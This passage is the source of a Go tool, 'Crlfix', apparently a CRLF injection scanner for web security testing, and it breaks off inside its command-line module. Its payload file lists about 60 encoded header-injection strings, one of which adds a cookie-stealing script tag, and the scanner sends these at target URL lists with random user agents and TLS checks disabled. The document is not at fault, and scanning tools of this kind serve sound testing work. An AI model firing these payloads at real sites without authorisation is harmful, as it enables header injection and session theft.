├── crlfix
├── crlfix.go
└── modules
│ ├── validate
│ └── validate.go
│ ├── vulnerable
│ └── vulnerable.go
│ ├── reader
│ └── reader.go
│ ├── check
│ └── check.go
│ ├── banner
│ └── banner.go
│ ├── gitversion
│ └── gitversion.go
│ ├── save
│ └── save.go
│ ├── request
│ └── request.go
│ ├── utils
│ └── utils.go
│ ├── notify
│ └── notify.go
│ ├── client
│ └── client.go
│ ├── progressbar
│ └── progressbar.go
│ ├── config
│ └── config.go
│ ├── help
│ └── help.go
│ ├── payloads
│ └── payloads.go
│ ├── scanner
│ └── scanner.go
│ ├── cli
│ └── cli.go
│ ├── handler.go
│ └── logger
│ └── logger.go
├── LICENSE
├── go.mod
├── README.md
└── go.sum
/crlfix/crlfix.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | handler "github.com/RevoltSecurities/Crlfix/crlfix/modules"
5 | )
6 |
7 | func main() {
8 | handler.Init()
9 | }
10 |
--------------------------------------------------------------------------------
/crlfix/modules/validate/validate.go:
--------------------------------------------------------------------------------
1 | package validate
2 |
3 | import "net/url"
4 |
5 | func Validurl(u string) bool {
6 | U, err := url.Parse(u)
7 | if err != nil || U.Scheme == "" || U.Host == "" {
8 | return false
9 | }
10 | return true
11 | }
12 |
--------------------------------------------------------------------------------
/crlfix/modules/vulnerable/vulnerable.go:
--------------------------------------------------------------------------------
1 | package vulnerable
2 |
3 | import (
4 | "net/http"
5 | )
6 |
7 | func Vulnerable(responsed *http.Response) (string, string, bool) {
8 | for header, values := range responsed.Header {
9 | for _, value := range values {
10 | if value == "whoami=revolt" {
11 | return header, value, true
12 | }
13 | }
14 | }
15 | return "", "", false
16 | }
17 |
--------------------------------------------------------------------------------
/crlfix/modules/reader/reader.go:
--------------------------------------------------------------------------------
1 | package reader
2 |
3 | import (
4 | "bufio"
5 | "os"
6 | "strings"
7 |
8 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/utils"
9 | )
10 |
11 | func Reader(filename string) ([]string, error) {
12 | var urls []string
13 | filecontent, err := os.Open(filename)
14 | if err != nil {
15 | return nil, err
16 | }
17 | defer filecontent.Close()
18 | scanner := bufio.NewScanner(filecontent)
19 | for scanner.Scan() {
20 | line := scanner.Text()
21 | tline := strings.TrimSpace(line)
22 | urls = append(urls, tline)
23 | }
24 | if err := scanner.Err(); err != nil {
25 | return nil, err
26 | }
27 | return utils.Set(urls), nil
28 | }
29 |
--------------------------------------------------------------------------------
/crlfix/modules/check/check.go:
--------------------------------------------------------------------------------
1 | package check
2 |
3 | import (
4 | "fmt"
5 | "os"
6 |
7 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/logger"
8 | )
9 |
10 | func Permission(filename string) bool {
11 | file, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
12 | if err != nil {
13 | if pathErr, ok := err.(*os.PathError); ok && pathErr.Err == os.ErrPermission {
14 | logger.Stdlogger(fmt.Sprintf("You don't have write permission in this %s file", filename), "warn")
15 | return false
16 | } else {
17 | logger.Stdlogger(fmt.Sprintf("Exception occured in the permission check module due to: %s", err.Error()), "warn")
18 | return false
19 | }
20 | }
21 | defer file.Close()
22 | return true
23 | }
24 |
--------------------------------------------------------------------------------
/crlfix/modules/banner/banner.go:
--------------------------------------------------------------------------------
1 | package banner
2 |
3 | import (
4 | "fmt"
5 | "math/rand"
6 |
7 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/logger"
8 | "github.com/common-nighthawk/go-figure"
9 | "github.com/logrusorgru/aurora/v4"
10 | )
11 |
12 | func Randomchoice(choices []string) string {
13 | choosed := rand.Intn(len(choices))
14 | return choices[choosed]
15 | }
16 |
17 | func BannerGenerator(banner_name string) aurora.Value {
18 | choices := []string{"big", "ogre", "shadow", "script", "graffiti", "slant"}
19 | colors := []string{"green", "cyan", "blue", "white", "magenta"}
20 | banner := figure.NewFigure(banner_name, Randomchoice(choices), true)
21 | banners := logger.Bannerizer(fmt.Sprintf(`%s`, banner.String()), Randomchoice(colors))
22 | return banners
23 | }
24 |
--------------------------------------------------------------------------------
/crlfix/modules/gitversion/gitversion.go:
--------------------------------------------------------------------------------
1 | package gitversion
2 |
3 | import (
4 | "encoding/json"
5 | "net/http"
6 | "time"
7 | )
8 |
9 | type Gitjson struct {
10 | Version string `json:"tag_name"`
11 | }
12 |
13 | func GitVersion() (string, error) {
14 | request, err := http.NewRequest("GET", "https://api.github.com/repos/RevoltSecurities/CrlfiX/releases/latest", nil)
15 | if err != nil {
16 | return "", err
17 | }
18 | client := &http.Client{Timeout: 10 * time.Second}
19 |
20 | response, err := client.Do(request)
21 | if err != nil {
22 | return "", err
23 | }
24 | defer response.Body.Close()
25 |
26 | var gitjson Gitjson
27 | if err := json.NewDecoder(response.Body).Decode(&gitjson); err != nil {
28 | return "", err
29 | }
30 | return gitjson.Version, nil
31 | }
32 |
--------------------------------------------------------------------------------
/crlfix/modules/save/save.go:
--------------------------------------------------------------------------------
1 | package save
2 |
3 | import (
4 | "fmt"
5 | "os"
6 |
7 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/cli"
8 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/logger"
9 | )
10 |
11 | func Save(content string) {
12 | file, err := os.OpenFile(cli.Opts.Output, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
13 | if err != nil {
14 | if cli.Opts.Verbose {
15 | logger.Stdlogger(fmt.Sprintf("Exception occured in the save module due to: %s", err.Error()), "warn")
16 | }
17 | return
18 | }
19 | defer file.Close()
20 | if _, err = file.WriteString(content + "\n"); err != nil {
21 | if cli.Opts.Verbose {
22 | logger.Stdlogger(fmt.Sprintf("Exception occured in the save module when writing output due to: %s", err.Error()), "warn")
23 | }
24 | return
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2025 RevoltSecurities
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/crlfix/modules/request/request.go:
--------------------------------------------------------------------------------
1 | package request
2 |
3 | import (
4 | "fmt"
5 | "net/http"
6 | "strings"
7 | "sync"
8 | "time"
9 |
10 | browser "github.com/EDDYCJY/fake-useragent"
11 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/cli"
12 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/logger"
13 | )
14 |
15 | func Request(url string, args cli.Argsparser, httpx *http.Client, mu *sync.Mutex) (*http.Response, error) {
16 |
17 | request, err := http.NewRequest(strings.ToUpper(args.Method), url, nil)
18 | if err != nil {
19 | return nil, err
20 | }
21 |
22 | for _, headers := range args.Headers {
23 | keys := strings.SplitN(headers, ":", 2)
24 | if (len(keys)) != 2 {
25 | if args.Verbose {
26 | logger.Stdlogger(fmt.Sprintf("Skipping %s from setting Request Headers due to unexpected headers format", keys), "error")
27 | }
28 | continue
29 | }
30 | request.Header.Set(keys[0], keys[1])
31 | }
32 |
33 | if args.Randomagent {
34 | mu.Lock()
35 | request.Header.Set("User-Agent", browser.Random())
36 | mu.Unlock()
37 | }
38 | time.Sleep(time.Duration(args.Delay))
39 | response, err := httpx.Do(request)
40 | if err != nil {
41 | return nil, err
42 | }
43 | return response, nil
44 | }
45 |
--------------------------------------------------------------------------------
/crlfix/modules/utils/utils.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "fmt"
5 | "net/url"
6 | "os"
7 | "strings"
8 | )
9 |
10 | func Set(urls []string) []string {
11 | sets := make(map[string]bool)
12 | var results []string
13 |
14 | for _, url := range urls {
15 | if _, ok := sets[url]; !ok {
16 | sets[url] = true
17 | results = append(results, url)
18 | }
19 | }
20 | return results
21 | }
22 |
23 | func Pathadder(baseurl, path string) (string, error) {
24 | Baseurl, err := url.Parse(baseurl)
25 | if err != nil {
26 | return "", err
27 | }
28 | if strings.HasSuffix(Baseurl.Path, "/") {
29 | Baseurl.Path += path
30 | } else {
31 | Baseurl.Path += "/" + path
32 | }
33 | return Baseurl.String(), nil
34 | }
35 |
36 | func IsStdin() bool {
37 | stat, err := os.Stdin.Stat()
38 | if err != nil {
39 | return false
40 | }
41 | return (stat.Mode() & os.ModeCharDevice) == 0
42 | }
43 |
44 | func IsPermission(filename string) (bool, error) {
45 | file, err := os.OpenFile(filename, os.O_WRONLY|os.O_APPEND|os.O_CREATE, 0644)
46 | if err != nil {
47 | if os.IsPermission(err) {
48 | return false, fmt.Errorf("You don't have any write permission in this %s file", filename)
49 | }
50 | return false, err
51 | }
52 | defer file.Close()
53 | return true, nil
54 | }
55 |
--------------------------------------------------------------------------------
/crlfix/modules/notify/notify.go:
--------------------------------------------------------------------------------
1 | package notify
2 |
3 | import (
4 | "bytes"
5 | "encoding/json"
6 | "fmt"
7 | "net/http"
8 |
9 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/cli"
10 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/logger"
11 | )
12 |
13 | type Payload struct {
14 | Text string `json:"text"`
15 | }
16 |
17 | func SendNotify(url string, target string ,args cli.Argsparser, httpx *http.Client) {
18 |
19 | if args.SlackURL == "" {
20 | return
21 | }
22 |
23 | paytext := Payload{Text: fmt.Sprintf("Crlf Injection Found ⚡\n%s", target)}
24 | paybytes, err := json.Marshal(paytext)
25 | if err != nil {
26 | if args.Verbose {
27 | logger.Stdlogger("Json Marshalling exception occured", "warn")
28 | }
29 | return
30 | }
31 |
32 | request, err := http.NewRequest("POST", args.SlackURL, bytes.NewBuffer(paybytes))
33 | if err != nil {
34 | if args.Verbose {
35 | logger.Stdlogger(fmt.Sprintf("Exception occured in the noitify request building module due to: %s", err.Error()), "warn")
36 | }
37 | return
38 | }
39 |
40 | request.Header.Set("Content-Type", "application/json")
41 | response, err := httpx.Do(request)
42 | if err != nil {
43 | if args.Verbose {
44 | logger.Stdlogger(fmt.Sprintf("Exception occured in the notify request due to: %s", err), "warn")
45 | }
46 | return
47 | }
48 | defer response.Body.Close()
49 | }
50 |
--------------------------------------------------------------------------------
/crlfix/modules/client/client.go:
--------------------------------------------------------------------------------
1 | package client
2 |
3 | import (
4 | "crypto/tls"
5 | "fmt"
6 | "net"
7 | "net/http"
8 | "net/url"
9 | "time"
10 |
11 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/cli"
12 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/logger"
13 | )
14 |
15 | func HttpxClient() (*http.Client, error) {
16 | transport := &http.Transport{
17 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
18 | MaxIdleConns: 50,
19 | IdleConnTimeout: 90 * time.Second,
20 | DialContext: (&net.Dialer{
21 | Timeout: time.Second * 60,
22 | KeepAlive: time.Second * 80,
23 | }).DialContext,
24 | }
25 |
26 | if cli.Opts.Proxy != "" {
27 | proxyurl, err := url.Parse(cli.Opts.Proxy)
28 | if err != nil {
29 | if cli.Opts.Verbose{
30 | logger.Logger(fmt.Sprintf("Exception occured in configuring proxy due to: %s", err.Error()), "warn")
31 | }
32 | return nil, err
33 | }
34 | transport.Proxy = http.ProxyURL(proxyurl)
35 | }
36 |
37 | client := &http.Client{
38 | Transport: transport,
39 | Timeout: time.Duration(cli.Opts.Timeouts) * time.Second,
40 | }
41 |
42 | if cli.Opts.Redirect {
43 | client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
44 | if len(via) >= cli.Opts.Maxr {
45 | return http.ErrUseLastResponse
46 | }
47 | return nil
48 | }
49 | } else {
50 | client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
51 | return http.ErrUseLastResponse
52 | }
53 | }
54 |
55 | return client, nil
56 | }
57 |
--------------------------------------------------------------------------------
/crlfix/modules/progressbar/progressbar.go:
--------------------------------------------------------------------------------
1 | package progressbar
2 |
3 | import (
4 | "fmt"
5 | "os"
6 | "strings"
7 | "sync"
8 | "time"
9 | )
10 |
11 | const (
12 | tcl = "\r\x1b[2K"
13 | )
14 |
15 | type Progressbar struct {
16 | ReqCount int
17 | ReqTotal int
18 | StartedAt time.Time
19 | ErrorCount int
20 | Race sync.Mutex
21 | }
22 |
23 | func (pb *Progressbar) Bar(reqincr, errincr, ttlincr int) {
24 | pb.Race.Lock()
25 | defer pb.Race.Unlock()
26 | pb.ReqCount += reqincr
27 | pb.ErrorCount += errincr
28 | pb.ReqTotal += ttlincr
29 | }
30 |
31 | func Render(stats *Progressbar) {
32 | percentage := float64(stats.ReqCount) / float64(stats.ReqTotal) * 100 //calculate percentage for porgressing tasks here
33 | blockcounts := int(percentage / 5) // we calculate this for block to be added in progressbar
34 | ProgressBar := strings.Repeat("█", blockcounts) + strings.Repeat(" ", 20-blockcounts) //adding the strings with empty space
35 | runningseconds := time.Since(stats.StartedAt).Seconds()
36 | rate := float64(stats.ReqCount) / runningseconds // request speed calculation done here so we see how much concurrent rate request are going
37 | hours := int(runningseconds) / 3600
38 | minutes := (int(runningseconds) % 3600) / 60
39 | seconds := int(runningseconds) % 60
40 | Printer(ProgressBar, percentage, hours, minutes, seconds, stats.ReqCount, stats.ReqTotal, rate, stats.ErrorCount)
41 | }
42 |
43 | func Printer(progressbar string, percentage float64, hours int, minutes int, seconds int, reqcounts int, totalreq int, rate float64, errors int) {
44 | fmt.Fprintf(os.Stderr, "%s[%s] %6.2f%% [%02d:%02d:%02d] [%d/%d] %.1f req/sec Errors: %d\r",
45 | tcl, progressbar, percentage, hours, minutes, seconds, reqcounts, totalreq, rate, errors)
46 | }
47 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/RevoltSecurities/Crlfix
2 |
3 | go 1.23.4
4 |
5 | require (
6 | github.com/EDDYCJY/fake-useragent v0.2.0 // indirect
7 | github.com/PuerkitoBio/goquery v1.10.1 // indirect
8 | github.com/andybalholm/cascadia v1.3.3 // indirect
9 | github.com/beorn7/perks v1.0.1 // indirect
10 | github.com/cespare/xxhash/v2 v2.2.0 // indirect
11 | github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be // indirect
12 | github.com/golang/protobuf v1.5.3 // indirect
13 | github.com/inconshreveable/mousetrap v1.1.0 // indirect
14 | github.com/logrusorgru/aurora/v4 v4.0.0 // indirect
15 | github.com/matttproud/golang_protobuf_extensions v1.0.4 // indirect
16 | github.com/projectdiscovery/ratelimit v0.0.70 // indirect
17 | github.com/projectdiscovery/utils v0.4.7 // indirect
18 | github.com/prometheus/client_golang v1.14.0 // indirect
19 | github.com/prometheus/client_model v0.3.0 // indirect
20 | github.com/prometheus/common v0.42.0 // indirect
21 | github.com/prometheus/procfs v0.9.0 // indirect
22 | github.com/sirupsen/logrus v1.9.0 // indirect
23 | github.com/spf13/cobra v1.8.1 // indirect
24 | github.com/spf13/pflag v1.0.5 // indirect
25 | github.com/weppos/publicsuffix-go v0.30.1-0.20230422193905-8fecedd899db // indirect
26 | github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 // indirect
27 | github.com/zmap/zcrypto v0.0.0-20230422215203-9a665e1e9968 // indirect
28 | github.com/zmap/zflags v1.4.0-beta.1.0.20200204220219-9d95409821b6 // indirect
29 | github.com/zmap/zgrab2 v0.1.8 // indirect
30 | golang.org/x/crypto v0.31.0 // indirect
31 | golang.org/x/net v0.33.0 // indirect
32 | golang.org/x/sync v0.10.0 // indirect
33 | golang.org/x/sys v0.28.0 // indirect
34 | golang.org/x/text v0.21.0 // indirect
35 | golang.org/x/time v0.5.0 // indirect
36 | google.golang.org/protobuf v1.33.0 // indirect
37 | gopkg.in/yaml.v3 v3.0.1 // indirect
38 | )
39 |
--------------------------------------------------------------------------------
/crlfix/modules/config/config.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import (
4 | "fmt"
5 | "math/rand"
6 | "os"
7 | "path/filepath"
8 | "time"
9 |
10 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/logger"
11 | "gopkg.in/yaml.v3"
12 | )
13 |
14 | var seededRand = rand.New(rand.NewSource(time.Now().UnixNano()))
15 |
16 | func ExistDir(dir string) error {
17 | if _, err := os.Stat(dir); os.IsNotExist(err) {
18 | if err := os.MkdirAll(dir, 0755); err != nil {
19 | return fmt.Errorf("failed to create directory %s: %w", dir, err)
20 | }
21 | }
22 | return nil
23 | }
24 |
25 | func ExistFile(file string) error {
26 | if _, err := os.Stat(file); os.IsNotExist(err) {
27 | content := map[string][]string{
28 | "slack": {},
29 | }
30 | data, err := yaml.Marshal(content)
31 | if err != nil {
32 | return fmt.Errorf("failed to marshal default config: %w", err)
33 | }
34 | if err := os.WriteFile(file, data, 0644); err != nil {
35 | return fmt.Errorf("failed to create config file %s: %w", file, err)
36 | }
37 | }
38 | return nil
39 | }
40 |
41 | func GetConfig() (string, error) {
42 | configDir, err := os.UserConfigDir()
43 | if err != nil {
44 | logger.Logger("Unable to get the Config Directory!", "warn")
45 | return "", err
46 | }
47 |
48 | crlfiXDir := filepath.Join(configDir, "crlfix")
49 | if err := ExistDir(crlfiXDir); err != nil {
50 | return "", err
51 | }
52 |
53 | configFile := filepath.Join(crlfiXDir, "crlfiX.yaml")
54 | if err := ExistFile(configFile); err != nil {
55 | return "", err
56 | }
57 |
58 | return configFile, nil
59 | }
60 |
61 | type Config struct {
62 | Slack []string `yaml:"slack"`
63 | }
64 |
65 | func SetConfig(configPath string) (*Config, error) {
66 | data, err := os.ReadFile(configPath)
67 | if err != nil {
68 | return nil, fmt.Errorf("failed to read config file: %w", err)
69 | }
70 |
71 | var config Config
72 | if err := yaml.Unmarshal(data, &config); err != nil {
73 | return nil, fmt.Errorf("error unmarshaling config file: %w", err)
74 | }
75 |
76 | return &config, nil
77 | }
78 |
79 | func (c *Config) GetRandomKey() (string, error) {
80 | if len(c.Slack) == 0 {
81 | return "", fmt.Errorf("no url available in Slack")
82 | }
83 | randomIndex := seededRand.Intn(len(c.Slack))
84 | return c.Slack[randomIndex], nil
85 | }
86 |
--------------------------------------------------------------------------------
/crlfix/modules/help/help.go:
--------------------------------------------------------------------------------
1 | package help
2 |
3 | import (
4 | "fmt"
5 |
6 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/banner"
7 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/logger"
8 | )
9 |
10 | func Helper() string {
11 | msg := fmt.Sprintf(`
12 | %s
13 |
14 | %s
15 |
16 | %s
17 |
18 | %s
19 | %s
20 |
21 | %s
22 |
23 | %s
24 | %s
25 |
26 | %s
27 | %s
28 |
29 | %s
30 | %s
31 |
32 | %s
33 | %s
34 |
35 | %s
36 | %s
37 |
38 | %s
39 | %s
40 |
41 | %s
42 | %s
43 |
44 | %s
45 | %s
46 | `,
47 | banner.BannerGenerator("crlfiX"),
48 | logger.Bolder("- RevoltSecurities"),
49 | logger.Loader("An accurate and concurrent CRLF injection scanner", "DESCRIPTION"),
50 | logger.Loader("", "USAGE"),
51 | logger.Bolder("crlfix [flags]"),
52 | logger.Loader("", "FLAGS"),
53 | logger.Loader("", "INPUT"),
54 | logger.Bolder(`-u, --url : Target URL for CRLF injection scan
55 | -l, --list : File containing a list of URLs for CRLF injection scan
56 | stdin/stdout : crlfix also supports stdin/stdout for URL input/output.`),
57 | logger.Loader("", "OUTPUT"),
58 | logger.Bolder(`-O, --save : File to save the results of the scan.`),
59 | logger.Loader("", "CONCURRENCY"),
60 | logger.Bolder(`-c, --concurrency : Set concurrency level (default: 10).
61 | -L, --rate-limit : Specify the rate limit for concurrent requests.`),
62 | logger.Loader("", "OPTIMIZATION"),
63 | logger.Bolder(`-T, --timeout : Maximum timeout for requests (default: 20 seconds).
64 | -D, --delay : Delay (in milliseconds) between each request.
65 | -R, --random-agent : Use random User-Agent headers for requests.`),
66 | logger.Loader("", "CONFIGURATION"),
67 | logger.Bolder(`-C, --config : Path to the custom configuration file of crlfix.
68 | -H, --headers : Headers to include in the HTTP requests (e.g., -H cookie:values, -H X-Orgin-Host:127.0.0.1).`),
69 | logger.Loader("", "NETWORK"),
70 | logger.Bolder(`-p, --proxy : Proxy URL for requests.
71 | -r, --follow-redirect : Follow HTTP redirections (default: false).
72 | -M, --max-redirect : Maximum number of redirects to follow (default: 20).`),
73 | logger.Loader("", "NOTIFICATIONS"),
74 | logger.Bolder(`-N, --notify : Enable notifications if CRLF injection is found.`),
75 | logger.Loader("", "DEBUGGING"),
76 | logger.Bolder(`-v, --verbose : Print errors and reasons for failed requests and other informations.
77 | -s, --silent : Disable banner and version logging.`),
78 | )
79 | return msg
80 | }
81 |
--------------------------------------------------------------------------------
/crlfix/modules/payloads/payloads.go:
--------------------------------------------------------------------------------
1 | package payloads
2 |
3 | func Payloads() []string {
4 | return []string{
5 | "%0aSet-Cookie:whoami=revolt",
6 | "%0ASet-Cookie:%20whoami=%20revolt",
7 | "%0d%0aSet-Cookie:whoami=revolt",
8 | "%0dSet-Cookie:whoami=revolt",
9 | "%23%0aSet-Cookie:whoami=revolt",
10 | "%23%0d%0aSet-Cookie:whoami=revolt",
11 | "%09Set-Cookie:whoami=revolt",
12 | "%23%0dSet-Cookie:whoami=revolt",
13 | "%25%30%61Set-Cookie:whoami=revolt",
14 | "%250aSet-Cookie:whoami=revolt",
15 | "%25250aSet-Cookie:whoami=revolt",
16 | "%2e%2e%2f%0d%0aSet-Cookie:whoami=revolt",
17 | "%25%30aSet-Cookie:whoami=revolt",
18 | "%25%30%61Set-Cookie:whoami=revolt",
19 | "%2F..%0d%0aSet-Cookie:whoami=revolt",
20 | "%3f%0d%0aSet-Cookie:whoami=revolt",
21 | "%0d%0a%0d%0aSet-Cookie:whoami=revolt",
22 | "%3f%0dSet-Cookie:whoami=revolt",
23 | "%u000aSet-Cookie:whoami=revolt",
24 | "%E5%98%8A%E5%98%8DSet-Cookie:whoami=revolt",
25 | "%E5%98%8A%E5%98%8DSet-Cookie:revolt",
26 | "%0D%0A%20Set-Cookie:whoami=revolt",
27 | "%20%0D%0ASet-Cookie:whoami=revolt",
28 | "%0A%20Set-Cookie:whoami=revolt",
29 | "%2F%2E%2E%0D%0ASet-Cookie:whoami=revolt",
30 | "%E5%98%8D%E5%98%8ASet-Cookie:whoami=revolt",
31 | "%E5%98%8D%E5%98%8ASet-Cookie%3Awhoami%3Drevolt%E5%98%8D%E5%98%8A",
32 | "%%0a0aSet-Cookie:whoami=revolt",
33 | "%E5%98%8D%E5%98%8%E5%98%8D%E5%98%8ASet-Cookie:whoami=revolt",
34 | "crlf%0d%0Set-Cookie:whoami=revolt",
35 | "%25250aSet-Cookie:%20whoami=revolt",
36 | "%20%0D%0aSet-Cookie:%20whoami=revolt",
37 | "%2525250aSet-Cookie:whoami=revolt",
38 | "%25250d%25250aSet-Cookie:whoami=revolt",
39 | "%252F%252E%252E%252F%252E%252E%252F%0d%0aSet-Cookie:whoami=revolt",
40 | "%0D%0A%09Set-Cookie:whoami=revolt",
41 | "%25250dSet-Cookie:whoami=revolt",
42 | "%E5%98%8D%E5%98%8DSet-Cookie:whoami=revolt",
43 | "%3B%0d%0aSet-Cookie:whoami=revolt",
44 | "%0C%0aSet-Cookie:whoami=revolt",
45 | "%0D%20%0ASet-Cookie:whoami=revolt",
46 | "%00%0d%0aSet-Cookie:whoami=revolt",
47 | "%5C%0a%5C%0dSet-Cookie:whoami=revolt",
48 | "%0a%E5%98%8D%E5%98%8ASet-Cookie:whoami=revolt",
49 | "%E5%98%8E%E5%98%8FContent-Length:%200%0D%0ASet-Cookie:whoami=revolt",
50 | "%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%E5%98%8D%E5%98%8ASet-Cookie:whoami=revolt%0a%0a%3cscript%3ealert(document.cookie)%3c/script%3e%2F..%2F..%2F..%2F../tr",
51 | "%E5%98%8E%E5%98%8F%E5%98%8A%E5%98%8DSet-Cookie:whoami=revolt",
52 | "%0D%0A%E5%98%8E%E5%98%8FSet-Cookie:whoami=revolt",
53 | "%25E5%2598%258E%25E5%2598%258FSet-Cookie:whoami=revolt",
54 | "%E5%98%8E%E5%98%8FSet-Cookie:whoami=revolt",
55 | "%E4%BD%A0%E5%A5%BDSet-Cookie:whoami=revolt",
56 | "%E5%9C%B0%E5%9D%80Set-Cookie:whoami=revolt",
57 | "%EF%BC%8C%E5%98%BASet-Cookie:whoami=revolt",
58 | "%F0%9F%98%82Set-Cookie:whoami=revolt",
59 | "%C2%85Set-Cookie:whoami=revolt",
60 | "%C2%80Set-Cookie:whoami=revolt",
61 | "%E3%80%82Set-Cookie:whoami=revolt",
62 | "%EF%BF%BDSet-Cookie:whoami=revolt",
63 | "%E2%80%A8Set-Cookie:whoami=revolt",
64 | "%E2%80%A9Set-Cookie:whoami=revolt",
65 | "%F0%9F%92%A9Set-Cookie:whoami=revolt",
66 | }
67 | }
68 |
--------------------------------------------------------------------------------
/crlfix/modules/scanner/scanner.go:
--------------------------------------------------------------------------------
1 | package scanner
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "net/http"
7 | "os"
8 | "os/signal"
9 | "sync"
10 | "syscall"
11 | "time"
12 |
13 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/cli"
14 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/logger"
15 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/notify"
16 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/progressbar"
17 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/request"
18 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/save"
19 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/vulnerable"
20 | "github.com/projectdiscovery/ratelimit"
21 | "golang.org/x/sync/semaphore"
22 | )
23 |
24 | func Scanner(target string, urls []string, httpx *http.Client, args cli.Argsparser, lock *sync.Mutex, semaphore *semaphore.Weighted, wg *sync.WaitGroup) {
25 | logger.Stdlogger(fmt.Sprintf("Crlf Injection scanning started for: %s", target), "info")
26 | ctx, cancel := context.WithCancel(context.Background())
27 | defer cancel()
28 | bar := &progressbar.Progressbar{
29 | ReqTotal: len(urls),
30 | StartedAt: time.Now(),
31 | }
32 | Ticker := time.NewTicker(1 * time.Second)
33 | defer Ticker.Stop()
34 |
35 | limiter := ratelimit.New(context.Background(), uint(args.Ratelimit), time.Duration(1*time.Second))
36 |
37 | c := make(chan os.Signal, 1)
38 | signal.Notify(c, os.Interrupt, syscall.SIGTERM)
39 | go func() {
40 | for range c {
41 | logger.Stdlogger("CTRL+C Pressed!", "warn")
42 | os.Exit(1)
43 | }
44 | }()
45 |
46 | go func() {
47 | for range Ticker.C {
48 | lock.Lock()
49 | progressbar.Render(bar)
50 | lock.Unlock()
51 | }
52 | }()
53 |
54 | for _, url := range urls {
55 | wg.Add(1)
56 | if err := semaphore.Acquire(ctx, 1); err != nil {
57 | logger.Stdlogger(fmt.Sprintf("Unable to create a runner, exception occured in the semaphore acquiring due to: %s", err.Error()), "warn")
58 | os.Exit(1)
59 | }
60 |
61 | go func(url string) {
62 | defer semaphore.Release(1)
63 | defer wg.Done()
64 | limiter.Take()
65 | response, err := request.Request(url, args, httpx, lock)
66 | if err != nil {
67 | if args.Verbose {
68 | logger.Stdlogger(fmt.Sprintf("Request failed due to: %s", err.Error()), "warn")
69 | }
70 |
71 | lock.Lock()
72 | bar.Bar(1, 1, 0)
73 | lock.Unlock()
74 | }
75 | if response == nil {
76 | return
77 | }
78 | header, value, vuln := vulnerable.Vulnerable(response)
79 | if vuln {
80 | logger.Stdlogger(fmt.Sprintf("%s [%s:%s] [%d]", url, header, value, response.StatusCode), "vuln")
81 |
82 | if args.Output != "" {
83 | save.Save(fmt.Sprintf("%s [%s:%s] [%d]", url, header, value, response.StatusCode))
84 | }
85 |
86 | if args.Notify {
87 | notify.SendNotify(args.SlackURL, url, args, httpx)
88 | }
89 | } else {
90 | if args.Verbose {
91 | logger.Logger(fmt.Sprintf("%s is not vulnerable", url), "warn")
92 | }
93 | }
94 | defer response.Body.Close()
95 | lock.Lock()
96 | bar.Bar(1, 0, 0)
97 | lock.Unlock()
98 | }(url)
99 | }
100 | wg.Wait()
101 | progressbar.Render(bar)
102 | fmt.Println()
103 | }
104 |
--------------------------------------------------------------------------------
/crlfix/modules/cli/cli.go:
--------------------------------------------------------------------------------
1 | package cli
2 |
3 | import (
4 | "fmt"
5 | "os"
6 |
7 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/config"
8 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/help"
9 | "github.com/spf13/cobra"
10 | )
11 |
12 | type Argsparser struct {
13 | Url string
14 | List string
15 | Verbose bool
16 | Concurrency int
17 | Headers []string
18 | Method string
19 | Config string
20 | Proxy string
21 | No_Color bool
22 | Output string
23 | Redirect bool
24 | Maxr int
25 | Exceptions error
